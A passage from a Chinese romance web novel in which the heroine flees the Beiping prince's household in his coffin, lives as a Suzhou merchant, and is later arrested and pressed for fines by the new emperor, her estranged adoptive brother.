苏弱水被他抱在怀里,心里虽然有些伤感,但并没有特别伤心。 因为北平王并非她真正的父亲。 “阿姐,别哭,我在。” 陆泾川抱着她,低声安慰。 苏弱水眨了眨眼,看到陆泾川衣襟上渗出的水渍,她抬手擦了擦眼睫,才发现自己不知道什么时候居然哭了。 屋里压抑着气氛,大家都在偷偷抹眼泪- 因为最近外面情势不好,所以北平王的丧礼并没有大办,前来吊唁的人也不算多。 苏弱水在灵堂内跪了一日,被画屏搀扶起来的时候双腿发软,差点跌倒。 幸好陆泾川扶住了她,然后一把将她抱起,直接抱回了明月楼。 “阿姐好好休息,外面的事情都有我处理。” 苏弱水点头,蜷缩着在被褥里睡着了。 画屏端来吃食,苏弱水也没有胃口,只是稍微用了一些奶茶。 夜间寒凉,画屏往屋内多添了一个炭盆。 因为外面要处理的事情实在是太多了,所以陆泾川被绊住了脚。 棺木在灵堂内停留三日,在第四日的时候会被迁到陵墓之中。 北平王的陵墓属于地宫结构,当那个棺木被放进去之后,墓门被缓慢封上,陆泾川跪在北平王的墓碑前,磕了三个头,然后才带领一众人回到北平王府。 陆泾川回去时天色已经暗了,他自己提着灯笼直奔明月楼。 这几日他忙着北平王的丧事,已经好几日没有见到阿姐了。 听画屏说这几日阿姐不舒服,昨夜却还是悄悄去了灵堂,随后一个人回到明月楼休息。 今日要给北平王送葬,因为昨夜没有休息好,所以阿姐没有去。 陆泾川对苏弱水的选择向来不会干涉,只是让画屏照料好她,便自己一个人去送了北平王最后一程。 陆泾川推开明月楼主屋的大门,屋内照常烧着炭盆,画屏正在将晚膳往外端。 陆泾川看一眼一口都没有动的晚膳,皱了皱眉,“郡主没用膳吗?” 画屏点头,“郡主睡了一日都没有起身。”说完,画屏脸上露出担忧表情。 陆泾川的眉头皱得更深,他走到床边,抬手撩开床帐,露出那个躺在被褥里的女人。 女人身上盖着绸缎被褥,只露出一个背影。 长发如瀑,纤纤玉指搭在被褥上。 陆泾川却是心头一跳。 他一把扯住女人的胳膊将她翻过来。 那是一张跟苏弱水有几分相似的脸,正脸上看是不像的,可若是从侧脸上来看,几乎没什么区别。 陆泾川的表情瞬间阴郁,他捏着女人的胳膊,几乎要将她胳膊捏碎,“你是谁?我阿姐呢?”- 苏弱水蜷缩在北平王的棺材里,穿着绣鞋的脚微微一动便会碰到北平王的脚。 有点瘆人。 苏弱水叹息一声,觉得北平王想的这是什么主意啊,居然让她待在他的棺材里跟着逃跑,还说到了陵墓之后,自然会有人接应。 苏弱水摸了摸自己藏了一些银票的心口,从腰间的口袋里掏出一块芙蓉糕塞进嘴里。 棺木都被封死了,却在下面留了几个洞供她呼吸。 苏弱水一边啃着芙蓉糕,一边听着外面的唢呐之声。 鬼使神差的,苏弱水微微倾身,扒开棺木上提前打好的一个小洞往外看。 人太多了,棺木的高度又不够,因此,苏弱水只看到一片丧服的白,并不能看到那个捧着牌位,走在最前面的男人。 苏弱水被喉咙里的芙蓉糕噎了一下,她收回视线,轻轻拍了拍自己的脸。 她在干什么? 路程有些长,苏弱水歪着脑袋坐在那里打瞌睡。 一直到一阵又一阵哭嚎声将她吵醒。 送葬的队伍到了地方,大家都卯着劲儿的哭。 苏弱水突然被感染,她伸出手触到北平王的脚,轻轻唤了一声,“父王。” 没有回应。 苏弱水抬起手摸了摸脸,她也哭了。 果然,人心都是肉长的,虽然她并非真正的苏弱水,但在这样的氛围下也起了悲伤之心。 哭嚎声渐渐远去,苏弱水屏息凝神,听到一阵撬开棺木的声音。 外面的烛火光亮一下透进来,她抬手遮了遮眼睛,听到有人唤她,“郡主?” 是个年纪有些大的女人,苏弱水不认识这个人,她一边扶着苏弱水出来,一边跟她介绍道:“我是王爷为郡主专门训练的一支暗卫,我们这支暗卫里都是女子。” 北平王并没有跟她提过这件事,原著中也没有提到过这件事。 是因为她没有死在保护陆泾川的途中,所以才将这条暗线引了出来吗? “郡主,王爷已经安排好了一切,您想去哪?” 苏弱水想了想,道:“苏州。” 三年藩王乱战,苏州虽因为军费所需,所以增加了许多徭役赋税,但却并未被战争直接波及。意思就是,大家虽然过得苦了点,但没有遭受战乱之苦,士兵不会打过来。 没有战乱,苦一点,累一点,也比被战争打的家人失散,生离死别的好- 苏州的梅雨季一向是最令人烦恼的。 家里的东西一旦没有注意就会发霉。 苏弱水卧在榻上看账本。 梅姨站在她身边。 梅姨就是之前北平王给她准备的那支暗卫的领导人。 三年前,苏弱水随口一句想来苏州,梅姨就带着她连夜赶路到了苏州。 一路上,他们遇到了很多人,明的,暗的,到处搜查,可梅姨总能带着她躲过他们。 出了北平之后,那些搜查的人就少了。 苏弱水知道,陆泾川的手还不能伸得那么长,毕竟他刚刚接过北平王的位置,羽翼未丰,四面藩王虎视眈眈地盯着他这块大肥肉,他根本腾不出手来找她。 能调动分散那么多暗卫来寻她,已经算是竭尽全力了。 若是再动其它地方的暗桩被发现,那么他离死也就不远了。 可梅姨却告诉他,陆泾川真的动用了其它地方的暗桩来找她,幸好他们藏得深,也幸好那些暗桩刚动,就被其它藩王发现了。 苏弱水知道陆泾川疯,没想到他这么疯。 他不要他的帝国大业了吗? 苏弱水还听说陆泾川因为将身边的暗卫都分散了出去,所以被刺杀了。 他本来就是代王的眼中刺,这么绝佳的好机会代王怎么会错过?当然,这也可能是陆泾川设计的一个陷阱,可周宿被陆泾川杀死了,只剩下周宿这么一个儿子的代王怎么可能善罢甘休。 苏弱水听到这个消息的时候她刚到苏州。 从北平到苏州,因为连夜赶路,所以苏弱水精神不济,眼下挂着青黑,她听到梅姨的话,神色愣了愣,问,“死了吗?” 梅姨摇头,“没有,只是听说伤得挺重的。” 陆泾川有天道傍身,苏弱水一向都是知道的。 他肯定不会死的。 那一夜,虽然身体疲惫不堪,但苏弱水还是做了一个梦。 她梦到陆泾川满身是血的躺在血泊里,胸口插着一柄匕首,鲜血从他的身体里涌出来,几乎形成一个小小的水洼。 他盯着她,艰难抬手,双眸泣血,“阿姐!” 苏弱水一下就醒了,然后问梅姨要了一柄金剪子放在枕头下面,第二日晚上果然没有再做噩梦。 战乱期间,生意虽然难做,但不至于饿死。 大周皇帝从苏州征调了很多青年壮丁入伍,苏弱水会让梅姨带着吃穿物品去看望那些老弱妇孺,并给予她们工作。 有时候,苏弱水还会做回自己的老本行,她会坐在街角给一些不识字的人写信。 大部分人都是想要她给在战场上的丈夫、儿子写信。 苏弱水只收一个铜板。 三年战乱,今年三月,新帝登基,定鼎立新,承受天命,改国号为“明”。 在苏州的日子很安静。 虽然现在的苏州跟苏弱水待的那个现代化苏州不一样,但有时候看到那些熟悉的白墙黑瓦,苏氏园林,苏弱水还是会产生一种奇怪的熟悉感。 “嗯,账目没有问题。” 这是一处苏州老宅,并没有记在北平王名下,而是记在一个叫沈冬兰的女人名下。 梅姨告诉苏弱水,这是北平王很早之前就给她铺好的路。 沈冬兰是个虚拟存在的女商人,等苏弱水过来之后,她就是这个女商人。 沈冬兰在苏州有很多产业,苏弱水一开始不太会看账本,还是梅姨教着她一步一步来的。 苏弱水虽不是十分聪明,但她足够努力,再加上梅姨的细心,她用了一年多的时间将这些事务融会贯通。虽然现在处理起来还是会有些不完美,但已经比之前一窍不通好多了。 “水退了吗?”苏弱水将账本交给梅姨。 梅姨点头,看着女人这张清冷柔美的面孔,额间的胭脂痣透着一股氤氲的美。 “水是退了,只是粮食短缺,最近都涨疯了。” 现下是七月,六月的时候是梅雨季,一般来说,梅雨季下点雨在苏州是很正常的,毕竟烟雨江南嘛,可没想到这个雨下了一个月都没有停。 地势比较矮的地方都被淹了。 苏弱水住的老宅子地势还算高,倒不严重,只是需要家奴往外倒腾倒腾水。 “官府那边有什么消息?” 梅姨摇头,“您也知道,那个苏州知府只会张嘴要钱。” 苏弱水点头,想了想,道:“我们也涨价。” 梅姨愣了愣,看向苏弱水的眼神带上了几分不确定。 “梅姨,算一算我们账上现在一共有多少钱。”苏弱水起了身,去翻账目。 梅姨跟在她身后一起折腾,最后算出来统共有多少银子,全部被苏弱水折腾出去买粮食了。 沈冬兰在苏州城内还算是个有名的女商户,大家听说她高价卖粮的消息,也纷纷跟着买粮,附近地方的粮商听说她在花高价钱收粮,赶紧开着船将自己的粮食送过来。 苏弱水的铺子被人砸了,因为她卖的粮食价格太贵了。 苏弱水听说了之后也就点了点头,没有多说什么,只让梅姨将受伤的几个伙计送去医馆治疗,并给了安慰费。 半个月后,附近的粮食都运了过来。 苏弱水这里囤积了大部分粮食,直接折价售卖。 一时间,她家铺子前人山人海,大家都奔着跑着过来买粮。 其它商铺看到这个情况都懵了。 那些还停在港口的粮食船没有等来收购,等来的却是粮价大跌的消息。可你若是让他们再把粮食送回去,可就要亏本了。 供过于求,没办法,大家只好就地把粮食卖了,以勉强保本的价格。 苏州的粮食短缺问题暂时解决了,可梅姨看着赤字亏空的账目,深深叹了一口气。 苏弱水对此倒是还好,还蹲在那里逗猫。 不知道哪里来的小奶猫,看起来也就一个月,“喵喵”叫着往她身上爬。 苏弱水让梅姨蒸了一点鸡肉出来,一点点撕开喂给小奶猫吃。 小奶猫吃得发出“嗷呜嗷呜”的享受叫声- 苏州洪涝灾害后两个月,那位登基半年有余的新帝终于注意到这里,他派遣巡按御史前来苏州处理洪涝贪污一事。 苏弱水这才知道,原来当初新帝是拨了钱下来的,可下头却一分都没有看到。 本来这事也跟她这个小小的女商人没什么关系,只是这位巡按御史特别较真,不仅查那位苏州知府,还查到了当时涨价的一众粮商,其中自然包括她。 官府过来拿人的时候,苏弱水还有点懵。 她上辈子没坐过牢,这辈子坐上了。 “没事的,梅姨,我去去就回来了。” 话虽然是这样说的,但苏弱水心里没底。 她想着,若是能用钱把她赎出来那就太好不过了。 这个时候的她突然觉得如果那位巡按御史是个贪官就好了- 苏弱水没坐过牢,苏州的地牢是男女分开关押的,负责女犯人衣食住行的人被称为伴婆。 苏弱水坐在阴暗潮湿的女监里,盯着墙壁上那个窄窄的小窗户看。 窗户真的很小,也很高,她要用力仰头才能看到那一点弯弯的月。 正好是夏季,不是特别炎热,也不冷,这样的天气对于苏弱水这种体质比较虚弱怕冷的人来说是最适宜的了。 地牢里很脏,苏弱水站了一会后实在是累了,也就不管脏不脏了,直接坐了下来休息。 木板凳被她一坐,发出“吱呀”一声,看起来很是不堪重负的样子。 没有人来送水送食物,桌子上只有不知道多久前留下来的一套茶壶和茶杯,茶杯口还裂了一条口子。 苏弱水打开茶壶看了一眼,里面的茶水都发黑了,散发出一股奇怪的味道。 她可不敢喝。 苏弱水赶紧将茶壶推开,一个人孤零零地坐在那里,开始感觉到有些饿。 苏弱水忍着饿意,想着睡着就好了。 她闭上眼,扶趴下来,酝酿睡意。 刚要睡着,镶嵌在地牢墙壁上的油灯突然被殷勤地一盏一盏点亮。 苏弱水浸在黑暗中的视线也被跟着点亮。 油灯的光不亮,可苏弱水还是觉得有些刺目。 她抬手挡住双眸,外面传来脚步声。 沉稳又有规律。 有人过来了。 苏弱水拿下挡在眼前的手。 逼仄的地牢内,昏暗的油灯下,缓慢出现一道黑长的人影。 那人在她面前站定。 他身穿黑色长袍,头上扎着红宝石发带,双耳上坠着一对红宝石耳坠,眉眼越发锋利,整个人如同一柄出鞘的宝剑,只是站在那里,就能让人感受到其中的威压。 三年未见,男人依旧好看,只是望向她的眼神深沉的如一汪深潭,你再也无法从他的眼眸之中窥探出任何情绪。 苏弱水知道,这是大明的新帝,陆泾川。 第46章 那你留着干什么? 地牢的灯光全靠墙壁上那几盏油灯, 还有男人手里的那盏琉璃灯。 这些灯光将牢房外面的走廊照亮。 苏弱水坐在自己的牢房里,身后月色轻薄地透进来,温柔地罩在她身上。 有人搬来了一张太师椅, 男人抬臂坐下, 双手搭在扶手上,宽大的袖摆落下, 脸上没什么表情, 彷佛不认识她一般。 苏弱水原本还焦躁不安的心突然间就冷了下来。 是啊。 少年心性总会过去,再见到曾经瞧不上自己的人,过的如此悲惨,心中只会升起鄙夷。 苏弱水低着头坐在那里,视线落在有着斑驳痕迹的桌面上。 这张桌子实在是太老旧了些,上面不知道留下了多少别人磕上去的斑驳痕迹。 “沈冬兰?”男人抬手打开面前的卷宗, 眼皮微微上挑看她。 苏弱水起身,行了一个万福礼。 “民女沈冬兰。” 地牢里很安静, 似乎整个女牢内就只剩下他们两个人了。 哦,还有站在陆泾川身边的另外一位身穿常服的侍卫。 那侍卫苏弱水也曾是见过的, 叫谢成兰。 谢成兰低着头, 看一眼自家主子,再看一眼那位镇定自若站在牢房里的女主子。 “知道自己犯了什么罪吗?”男人的嗓音彻底褪去了那股青年音色,变得低哑, 说话时一句一字, 带着气势,朝苏弱水劈头盖脸地砸过来。 那是上位者的威压。 “民女高价卖粮……” 苏弱水做这件事前查过大明会典,在灾疫等特殊时期藏匿货物、抬高物价扰乱市场牟利者,会被笞四十。 所谓笞就是用竹板或者荆条抽打犯人的背部、臀部或腿部的刑罚,是五刑中最轻的一种了。 “不知大人能否通融一二?” 既然面前的男人没有暴露自己的身份, 那苏弱水也权当不知道。 她从宽袖内取出一叠银票,隔着地牢栏杆送出去。 女人站在牢房里面,三年未见,她一点都没有变,她的眼睛里依旧照不出他的影子。 陆泾川坐在那里,没有动。 苏弱水抬得手有些酸了。 “不够。” 终于,男人吐出这两个字。 苏弱水知道陆泾川刚刚接替大周皇帝,重新改了国号,也知道他缺钱,可她没想到他居然连她这么小一只苍蝇腿都不放过。 “民女身上只带了这么多……” “剩下不够的就用笞刑补。” 苏弱水的脸白了白。 虽然她已经做好了要受笞刑的准备,但真到要被打的时候,心头还是跟着跳了跳。 一般来说,会被笞刑臀部。 幸好来之前,梅姨为她垫了东西。 苏弱水低着头从牢房里走出来,男人还堵在门口,她微微侧身,与他擦肩而过。 女人身上的香气萦绕过来,柔软的发丝擦过衣料,手背。 陆泾川的视线追随。 前面有谢成兰引路,陆泾川跟在她身后。 三人往前走去,一直走到一处刑罚之地。 这里是个三面封闭的屋子,三面墙上都挂满了行刑的道具,铁锁,镣铐,长钩,刀剑等等,还有旁边的匣床,挂着绳子的绞刑架等。墙壁上有恐怖的抓挠痕迹,带着血印子,再加上阴暗的灯光,让人无端的联想到恐怖片。 苏弱水不敢再看,继续低头站在那里。 她看到她颤抖的指尖,似乎是在努力抓握什么,可最终还是什么都没有抓住。 “五百两。” 那张太师椅被挪到这里,男人依旧坐下,身上的黑袍光洁干净,没有一丝褶皱痕迹,渗透着昂贵的龙涎香,高贵到连每一根头发丝都服帖地待在它应该待的位置。 他的大拇指上戴着一枚玉扳指,水色极好,压着那几张银票,面无表情地看她。 苏弱水现在只能凑出来这么多了。 她把账面上的银子都凑出去买粮了,后来又低价售卖,亏得底裤都没了。 这些银子还是卖了几个铺子凑出来的,就是为了提防这个时刻。 苏弱水还抱有一线希望,“其实我高价卖粮是为了稳定粮价。” 男人捏着手里的银票,淡淡应一声,“嗯。”然后就没了下文。 苏弱水突然悟了。 陆泾川是要报复她。 地牢内陷入寂静,三人都没有继续说话。 男人突然站起来,走到那个被置在一个高架子上的炭盆前。 那炭盆上架着一个烙铁。 陆泾川抬手,往里添了几个炭火。 烙铁被烧得通红,男人还拿起来往炭盆里捅了捅。 飞起的黑灰扑面而来,苏弱水下意识往陆泾川身后躲。 躲完,她才意识到不对劲,赶忙又往谢成兰身后躲。 谢成兰一抬头,看到自家主子的眼神,赶忙一个侧身走了出去。 这个刑房内就只剩下苏弱水和陆泾川两个人了。 苏弱水缩着身体,朝陆泾川那里看一眼,男人手里举着那个烙铁,眼神极其不友好。 苏弱水开始后悔,如果她早知道陆泾川会成为皇帝,然后回来报复她的话,她是不是不应该跑? 女人的脸本就生得白细,如今被吓得更是又白几分。 陆泾川捏了捏手里的烙铁,语气生硬,“怕什么,不冷吗?” 刑房内的温度确实上升了一些。 虽然现在这个月份肯定是不会冷的,但这里是半地下室,再加上受过刑罚的人太多,怨气重,就显得非常阴气森森。苏弱水本就胆子不大,身上被吓出一身冷汗,一直忍不住打哆嗦,现在被炭盆一烤,倒是好了不少。 女人的脸色逐渐泛出绯红,她紧张地站在那里,不敢说话,只是盯着自己的脚尖看。 陆泾川扔掉手里的烙铁,视线在墙上转了一圈,最后落到笞刑那块区域。 那里挂着好几片竹板,是用来执行笞刑的。 有大有小,有薄有厚。 最小的像苏弱水小时候用的直尺。 最大的像两条合在一起的竹扁担,看起来又粗又重。 男人伸出手,挑了那根直尺。 苏弱水盯着那直尺看了一眼,视线往上一抬,跟男人对上。 她迅速低头,想着不知道要被打多少下。 “五百两抵五下,还剩三十五下。” 这么黑心! 苏弱水差点脱口而出,她忍住了。 她怕把人激怒了,她连五下都不能抵扣了。 “等一下,我还有,还有这些。” 苏弱水开始脱自己身上的首饰。 一般来说,进入女监之后会进行搜身,把身上的衣物换下来换成囚衣,再把身上的首饰褪下来,可并没有人来搜她,因此,苏弱水身上的首饰和衣物才得以保留。 苏弱水先将自己的耳坠子取下来,然后是手镯,发簪,项链……其实她不太爱戴饰品,这些都是基础搭配,为了出去谈生意的时候显得富贵些,能压人。 苏弱水将身上的首饰全部卸下捧在手里,送到男人面前。 男人垂目看着,没有接。 苏弱水想了想,把它们放到那张太师椅上。 “这些,也能值个……三百两吧?” 虽然有些夸大,但男人可以讲价。 “嗯。”陆泾川应了。 讲少了。 苏弱水脸上露出懊恼神色。 她偷偷觑一眼陆泾川,视线落到他双耳之上。 她记得他送给他的这对红宝石耳坠子可也值不少钱。 “还有吗?”男人懒洋洋地看着她。 苏弱水收回视线,在自己身上扫了一遍,只剩下这件编着金线的外衫了。 因是夏季,所以苏弱水穿得不算多。褪了外衫,里头的衣物是不能见外人的。 当然还是皮肉更重要。 她褪下外衫,搭在太师椅上,露出里面的中衣。 素白的中衣,在领口处绣了一朵梅花,看起来素雅极了。 “还有这件外衫,应当也能值一百两。” 如此凑来凑去,凑了四百两。 “三十一下。”陆泾川靠在墙壁上,手里掂量着那根竹板,“把裙子提起来。” 看来是要打她的腿。 苏弱水听说过有些人是控制刑罚的高手,他能几竹板将你的骨头打折,还有的能打完一百个板子,却只伤皮肉,看着恐怖,实际都是皮外伤。 苏弱水不知道陆泾川会对她使用什么法子。 若是他将她的腿打折了,她还要继续回到坐轮椅的日子吗? 苏弱水背对着陆泾川,提起自己的裙裾。 地牢虽有男女监牢之分,但进行刑罚的时候却没有男女之分。 幸好大明会典修改了女子笞刑之时需要褪衣的规定。 裙摆提起,露出一截纤细小腿。 苏弱水紧张地深呼吸,想着若是陆泾川将她的腿打折了,她就……她也不能怎么样。 她回去以后就天天诅咒他。 苏弱水感受到身后男人在靠近,她的呼吸更加急促。 直到那道破空声袭来之时,苏弱水吓得往前走了两步。 苏弱水:…… 苏弱水站在那里,都不敢回头看陆泾川的表情。 人在遇到危险的时候下意识往前跑其实也是很正常的。 怪就怪在陆泾川没有把她拴起来。 刑房内只剩下那个炭盆还在燃烧,将苏弱水烤得浑身上下都开始冒汗。 她提着裙子,悄悄转身朝身后看一眼。 男人依旧靠在墙壁上,微微歪头看她。 刑房内没有窗户,只有一个炭盆的光。 陆泾川靠在阴暗处,看不清脸上表情,唯独双耳之上的那只红宝石耳坠散发着明亮光色。 苏弱水揪着裙裾的手缓慢落下,她站在那里,“我回去凑钱,行不行?”- 三天时间,苏弱水要凑到三千一百两。 “把我卖了吧。”苏弱水趴在榻上,梅姨正在上下检查她的身体。 “郡主没有受罚吗?” 梅姨已经在衙门口等了很久,她看到那些商户一个一个被血肉模糊地抬出来,听说是交了罚金,还被打了。 轮到自家郡主出来的时候,梅姨一下没绷住,直接上去了。 她搀扶住自家郡主,上下打量。 身上的外衫不见了,首饰也不见了。 梅姨赶紧褪下自己的外衫替苏弱水披上。 衣物没有破损,外露的肌肤也没有受伤的地方。 回到老宅,梅姨立刻将苏弱水上下全部检查一遍,确实一块油皮也没有破。 “大致因为我是女子吧,所以给了我筹钱的机会。” 苏弱水没有告诉梅姨今日过来审问她的这个人是陆泾川。 她想,堂堂大周皇帝亲自前来肮脏不堪的地牢审问她,必然是恨急了她。 苏弱水趴在那里,双手垫在左侧面颊上,突然感觉眼眶有些发热。 她忍着,歪了歪头,将眼眶里的眼泪憋了回去。 梅姨替苏弱水灭了灯,苏弱水一个人躺在床榻上。 因为是夏日,所以屋内点了许多驱蚊的熏香。 厚重的冬日床帐也变成了绿色的薄纱。 窗户开着,门口种了一株芭蕉,清脆的叶子歪斜着,透出夏意。 院子里有蝉鸣鸟叫之声,去年移栽过来的葡萄树已经结果了,挂满了半个枝头。 苏弱水躺在床上,却是翻来覆去的睡不着。 梅姨已经安排人去卖铺面了,她比苏弱水更焦急如何凑够那三千一百两。 其实若非苏弱水此次想出高价收粮,再低价售卖的方式,她的银钱也不至于一下亏空这么多。 梅姨想着,实在不行便将现下住的宅子先抵押出去,等铺子赚了钱,再赎回来。 苏弱水点头同意了。 只是这宅子却也不值得三千一百两,因为它只是一处较为荒僻的中等普通住宅,所以最多最多值五百两银子。 还差两千六百两。 苏弱水撩开蚊帐起来,走到梳妆台前开始倒腾自己的东西。 她把首饰全部翻了出来,从最下面找到一对白玉镯子的时候,神色一顿。 这对镯子是当初陆泾川给她挑的。 成色一般,价格便宜,可不知道为什么,当北平王与她商议完,让她收拾一些东西走的时候,她会将这对镯子带上。 卖不了多少钱,放回去吧。 苏弱水将镯子塞回去,然后自己再躺回去。 没一会,她又起来,坐回梳妆台前,小心翼翼的把镯子套到手腕上。 尺寸正好。 夜已深,苏弱水一个人呆呆坐在梳妆台前,直到腿上被蚊子咬了好几个包,才回神重新爬回去睡觉。 翌日,苏弱水精神不济的起身,梅姨将老宅抵押的银票拿了回来。 陆泾川那边说给了她三日时间,梅姨还要忙着去别的地方筹钱。 苏弱水看着铺面送过来的账目,正在焦头烂额的算账。 她只是几天没管,账目都堆成山了。 书案被摆在檐下通风口,显得没有那么热。 苏弱水盘腿坐在那里看账目。 不知看了多久,一道黑影突然从上面落下来。 苏弱水还以为是梅姨回来了,“筹到钱……”她仰头,看到男人的瞬间停住了话。 男人换了一件宝蓝色的长衫,只是眉眼依旧锋利,连带着柔和的蓝色都带上了几分冷意。 他低头看向苏弱水手里的账目,真是一批烂账。 苏弱水下意识压住账本,戴在手腕上的双镯磕碰在一起,发出清脆声响。 女人下意识抬手,要将手臂往身下藏。 男人的速度却比她更快。 陆泾川弯腰,两只手按住她的胳膊。 苏弱水被迫将手臂压在书案的账目上。 两人四目相对,苏弱水狼狈偏头。 她想,都那么多年了,陆泾川应该是认不出来这对镯子了。 “这镯子不值钱,大人若想要,拿去就是。” “不值钱吗?”男人盯着她不放。 “嗯。” “那你留着干什么?” 苏弱水也不知道自己留着干什么。 她也不知道哪里来的委屈,突然间就红了眼眶,大抵是为了这份债务,也可能是因为眼前男人与三年前截然不同的态度。 “大人来这里做什么?” “要账。” “大人允了我三日。” “是嘛,不记得了。”陆泾川侧身,压着账目坐下来,“三千一百两,今日就要。” 第47章 该用什么方法 院子里的葡萄熟了一半, 尤其是顶上那些,被日头晒得足足的,最先变成紫色。 有小鸟踮着脚儿在上面跳来跳去的吃葡萄。 檐下, 苏弱水和陆泾川还在僵持。 说是僵持, 实际上她别无选择。 主动权在陆泾川手里。 他要她今日三更还,她便拖不到五更。 苏弱水起身, 进了屋子, 片刻后捧出一个首饰盒,里面是她全部的首饰,还有一张抵押老宅子后得到的银票。 “这是五百两,还有这些首饰大概能值两百两。” 陆泾川的指腹擦过女人指尖,单手拿过那张银票扔进首饰盒里,然后阖上, “还有两千四百两。” 他对她的那些首饰根本就没有兴趣,连看都没有看一眼。 苏弱水站在那里, 她今日身上只戴了那一对不值钱的镯子,整个人素净极了, 想摘首饰都没有东西摘。 “我的人今日出去筹钱了……”苏弱水低着头, 注意到有小丫鬟往这里探头探脑地看。 老宅里人手很少,苏弱水平时也没有什么事,小丫鬟就是平日里替她煮个茶, 梳个头发。 小茶房就在主屋隔壁, 小丫鬟就躲在那里,一副想出来又不敢出来的样子。 “天气热,大人渴了吧?我给大人端碗果饮来。” 苏弱水想拖延一下时间。 她朝陆泾川看一眼,见男人垂着眉眼没有拒绝,便赶紧朝那小丫鬟招手。 小丫鬟疾奔过来, “夫人。” 听到小丫鬟对她的称呼,男人下意识抬了抬眸,视线从那小丫鬟身上扫过,最后落到苏弱水脸上。 虽然没有明确规定,但女子成婚之后一般会将自己的头发梳起来,以展示自己的妇人身份。 苏弱水今日梳得就是典型的女子婚后发型同心髻。 “成亲了。”男人淡然开口。 苏弱水低着头,没有回答。 她成亲与否,跟陆泾川没有关系。 男人见她不回答,又换了一个话题,“果饮呢?” 苏弱水赶忙吩咐小丫鬟去做。 男人却是从书案上起身,坐到了她刚才坐的蒲垫上,然后单手托腮撑在那里盯着她看,“你去做。”- 苏弱水搬了梯子,拿了剪子和竹篮,去到院子里那棵葡萄树下。 一张巨大的木架子支撑在院子里,小部分熟透的葡萄都在上面,大部分没熟的葡萄反倒挂满了架子。 苏弱水将梯子摆好,然后提裙,小心翼翼的往上爬。 小丫鬟帮着她扶着梯子,看苏弱水眯着眼挡日头去剪葡萄。 日头太大,苏弱水只是稍微动一下就被晒得不行。 她身上沁出一层薄汗,黏腻在身上。 因为院子里没有其他人,所以她今日穿得比较单薄。浅粉色的裙衫轻飘飘的,更透出肌肤水白如玉,像披了一层桃子皮。 苏弱水摘了两串葡萄,然后提着篮子从梯子上下来。 安全落地,她的腿有些软。 怪她不爱运动,稍微动一下就累了。 不过低能量人群是这样的。 苏弱水提着篮子从陆泾川身边走过,裙裾擦过他的手背,软绵绵的带着香气。 男人下意识抬手,却只虚空掠过那片柔软的布料。 苏弱水去到茶室。 茶室里摆着已经煮好的茉莉花茶。 现在正是茉莉花开的季节,苏弱水从茶坊购买了一块茉莉花茶饼,一大早就让小丫鬟煮好了之后放凉,等喝的时候往里面加入牛乳,再加入一些冰块,就是一杯奶绿。 不过天气太热,奶绿会有些腻。 苏弱水将葡萄洗净之后剥皮,再放在石碗里捣碎,然后挑出籽,最后倒入茉莉花茶和冰块,一杯果饮就做好了。 苏弱水捧着用琉璃碗装着的果饮送到陆泾川面前。 琉璃碗很漂亮,透亮的白里透出微黄的茶和淡紫色的葡萄,冰块挤挤挨挨落在一处,看起来就非常夏天。 “这是什么?” 男人舒展了一下双腿。 因为书案太窄,所以他直接斜到了苏弱水这边。 隔着薄薄一层衣料,苏弱水能感觉到他贴着自己小腿的肌肤温度。 女人安静跪坐在他旁边,指尖还泛着湿润水渍,身上有一股甜甜的葡萄香气。 “用葡萄和茉莉花茶做的。” “怎么做的?” 苏弱水想,陆泾川不会是怕她毒死他吧? 她抿了抿唇,继续道:“我刚才摘了那里的葡萄,带进茶室里……” 女人的唇一张一合,说话的时候能看到她一点舌尖,素白的贝齿,说一句话,有时候会咬一下唇,大概是觉得有些不耐烦,可又不敢发脾气。 “刚才茶室的窗子都开着,若大人觉得不干净,可以跟着我进茶室,再看我做一遍。”女人说话时蹙起了眉,显得有些生气。 太明显了,他的阿姐还是这么容易暴露情绪。 陆泾川托着下颚的指尖动了动,视线从她的唇上移开,落到琉璃碗上。 “嗯。” 男人淡淡应一声,起身。 苏弱水仰头,一脸懵地看向陆泾川。 男人耐心道:“再做一遍。”- 苏弱水重新回到茶室里。 男人就那么靠在茶室门口,视线落在她手上。 苏弱水憋着一口气,把葡萄一颗一颗地摘下来扔进水里,然后洗干净,再捞出来。 晶莹剔透的葡萄被置在白玉盘里,苏弱水开始给它们剥皮。 她素来不耐烦做这种事情。 苏弱水剥了十颗葡萄,指头都有些对不准葡萄皮了。 她将剥好皮的葡萄扔进石碗里,捣碎了,再用筷子把里面的籽挑出来。 最后放进琉璃碗里,倒入茉莉花茶。 一系列流程,在陆泾川的眼皮子底下又做了一遍。 苏弱水把琉璃碗捧给他。 男人这才接了,慢条斯理吃了一口,然后道:“没有点心吗?” 茶室里确实备了点心。 苏弱水打开柜子,从里面取出一盒芙蓉糕,让小丫鬟将书案上的账目收拾了,她把芙蓉糕从食盒内取出来,在盘子上摆了一个花型。 一顿简单的下午茶就做好了。 谁要跟前夫这么和平地坐在一起喝下午茶啊! 苏弱水捧着第一杯自己的做的葡萄茉莉花茶,轻咬一口芙蓉糕。 见她吃了,男人才抬手拿了一块。 夏风徐徐吹来,夹杂着院子里淡淡的花香。 小丫鬟没什么眼力劲,见苏弱水和这位容貌俊美的大人看起来如此和谐,居然上来前询问要不要将冰在水井里的西瓜捞上来。 苏弱水看她一眼。 小丫鬟点头,“那奴婢去了。” 果然没有眼力劲。 陆泾川不仅把她的钱掏空了,还要掏空她的西瓜。 小丫鬟将切好的西瓜端上来,红色的西瓜瓤上面是黑色成熟的籽,看起来就是一个绝世好瓜,水多汁甜。 西瓜上面插了木签子,吃的时候不会脏手。 下午茶的内容还真是越来越丰富了。 苏弱水喝了几口茶水,又吃了一点西瓜,最后又用了一点芙蓉糕。 正是午后,苏弱水一般这个时候都会午睡。 所谓春困夏乏秋盹冬眠。 男人一直没有说话,苏弱水也不会故意惹他。 她的眼皮子逐渐沉重,一低头的功夫就能睡一觉。 苏弱水的脑袋往下一沉,一只手托住她的下颚,避免她磕碰到书案。 苏弱水瞬间就醒了。 她睁开眼,看到伸手托住她下颚的陆泾川。 男人掌心滚烫,炙热的温度透过肌肤流淌下来,带着熟悉的触感。 陆泾川面无表情地抽开手,“你夫君呢?” 苏弱水愣了愣,道:“他不在家。” 男人站起身,“明日让他来见我。” 苏弱水急向前两步,“此事不关他的事。” 陆泾川垂着眼睑,看向女人的视线透着一股深意,“关不关是我说了算。” 夏日热浪涌来,苏弱水的喉咙口泛出干涸感,她张嘴,“好,民女知道了。”- 入夜,梅姨终于回来了。 苏弱水用巾帕摩挲着下颚,都把下巴擦红了也没有将那股奇怪的感觉擦掉。 她总觉得的下颚滚烫的厉害。 